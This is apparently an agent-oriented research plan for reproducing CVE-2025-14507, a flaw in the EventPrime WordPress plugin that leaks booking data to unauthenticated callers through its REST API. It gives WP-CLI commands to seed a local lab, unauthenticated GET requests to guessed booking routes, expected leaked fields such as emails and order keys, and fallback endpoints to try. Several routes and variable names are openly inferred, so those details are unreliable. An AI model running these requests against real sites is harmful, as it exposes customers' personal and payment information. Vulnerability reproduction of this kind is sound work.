EventPrime - Events Calendar, Bookings and Tickets <= 4.2.7.0 - Unauthenticated Sensitive Information Exposure via REST API

This research plan targets CVE-2025-14507, a sensitive information exposure vulnerability in the EventPrime WordPress plugin.

1. Vulnerability Summary

The EventPrime plugin exposes sensitive booking information through its custom REST API endpoints. The vulnerability exists because certain REST routes, specifically those designed to retrieve booking details, do not implement sufficient permission checks (permission_callback) or do not filter the returned data to hide PII (Personally Identifiable Information) from unauthorized users. Unauthenticated attackers can query these endpoints to extract user names, email addresses, payment details, and order keys.

2. Attack Vector Analysis

• Endpoint: Likely located under the wp-json/eventprime/v1/ namespace.
• Specific Route: Based on the description, the vulnerable routes are likely /eventprime/v1/bookings or /eventprime/v1/booking/(?P<id>\d+) (inferred from typical EventPrime naming conventions).
• Method: GET
• Authentication: None required (Unauthenticated).
• Precondition: The EventPrime REST API must be enabled (usually via EventPrime > Settings > General > Enable REST API).

3. Code Flow (Inferred)

1. Registration: During rest_api_init, the plugin (likely in includes/class-ep-rest.php or similar) calls register_rest_route().
2. Weak Callback: The permission_callback for the booking retrieval route is either missing, returns __return_true, or fails to check if the requester is the owner of the booking or an administrator.
3. Data Retrieval: The controller function (e.g., get_booking or get_items) queries the database for booking records.
4. Exposure: The function returns the full booking object/array, which includes raw fields like attendee_details, email, payment_transaction_id, and order_key without sanitization for public view.

4. Nonce Acquisition Strategy

REST API endpoints in WordPress typically require a _wpnonce (the wp_rest nonce) only when using cookie-based authentication (i.e., when the user is logged into the browser). For unauthenticated vulnerabilities, a nonce is usually not required unless the plugin has implemented a custom requirement.

If the API requires a nonce even for unauthenticated users, it is often exposed via localized scripts:

1. Identify Trigger: EventPrime scripts load on pages with the [event_prime_events_calendar] or [em_bookings] shortcodes.
2. Create Page: wp post create --post_type=page --post_status=publish --post_content='[event_prime_events_calendar]'
3. Variable Name: Look for eventprime_vars or ep_ajax_obj.
4. Extraction: browser_eval("window.eventprime_vars?.rest_nonce")

5. Test Data Setup

To confirm the exposure, we must first populate the database with sensitive booking data.

1. Create an Event:

   # Create an event (Post Type: 'eventprime_events')
   wp post create --post_type=eventprime_events --post_title="Sensitive Private Event" --post_status=publish
   

2. Create a Booking:
   EventPrime stores bookings in a custom table (usually {wp_prefix}ep_bookings). We can simulate a booking using WP-CLI to insert metadata or use the plugin's internal methods via wp eval.

   wp eval '
   global $wpdb;
   $table_name = $wpdb->prefix . "ep_bookings";
   $wpdb->insert($table_name, [
       "event_id" => 1, // Change to actual ID from step 1
       "user_id" => 0,  // Guest booking
       "attendee_name" => "Secret Victim",
       "attendee_email" => "victim@example.com",
       "order_key" => "ORD-12345-SECRET",
       "payment_status" => "completed",
       "booking_data" => serialize(["phone" => "555-0199", "address" => "123 Spy Lane"])
   ]);'
   

3. Enable REST API:
   Ensure the plugin setting for REST API is active.

   wp option update eventprime_settings '{"enable_rest_api":"1"}' --format=json
   

6. Exploitation Strategy

The goal is to list or retrieve specific bookings via the REST API.

Step 1: Discover the exact endpoint
Request the REST API index to find registered EventPrime routes.

• Request: GET /wp-json/eventprime/v1
• Tool: http_request

Step 2: Exploit the Bookings List (Information Disclosure)
Attempt to retrieve all bookings.

• Request:

  GET /wp-json/eventprime/v1/bookings HTTP/1.1
  Host: localhost:8080
  

• Alternative Request (Specific ID):

  GET /wp-json/eventprime/v1/booking/1 HTTP/1.1
  Host: localhost:8080
  

7. Expected Results

A successful exploit will return a JSON response (Status 200 OK) containing:

[
  {
    "id": 1,
    "attendee_name": "Secret Victim",
    "attendee_email": "victim@example.com",
    "order_key": "ORD-12345-SECRET",
    "booking_data": "...",
    "payment_transaction_id": "..."
  }
]

If the vulnerability is patched, the response should be a 401 Unauthorized or 403 Forbidden with a message stating the user cannot view this data.

8. Verification Steps

After performing the HTTP request, verify the leaked data matches the database state.

# Query the custom table to confirm the data matches what was leaked
wp db query "SELECT attendee_name, attendee_email, order_key FROM wp_ep_bookings WHERE id=1"

9. Alternative Approaches

If the standard /bookings route is protected, try:

1. Search Endpoint: /wp-json/eventprime/v1/bookings/search?email=victim@example.com - See if it returns details without authentication.
2. Event-Specific Bookings: /wp-json/eventprime/v1/event/1/bookings - Accessing bookings via the event relationship.
3. Draft Bookings: If there is a route for "transactions" or "logs", check those as they often contain similar sensitive data.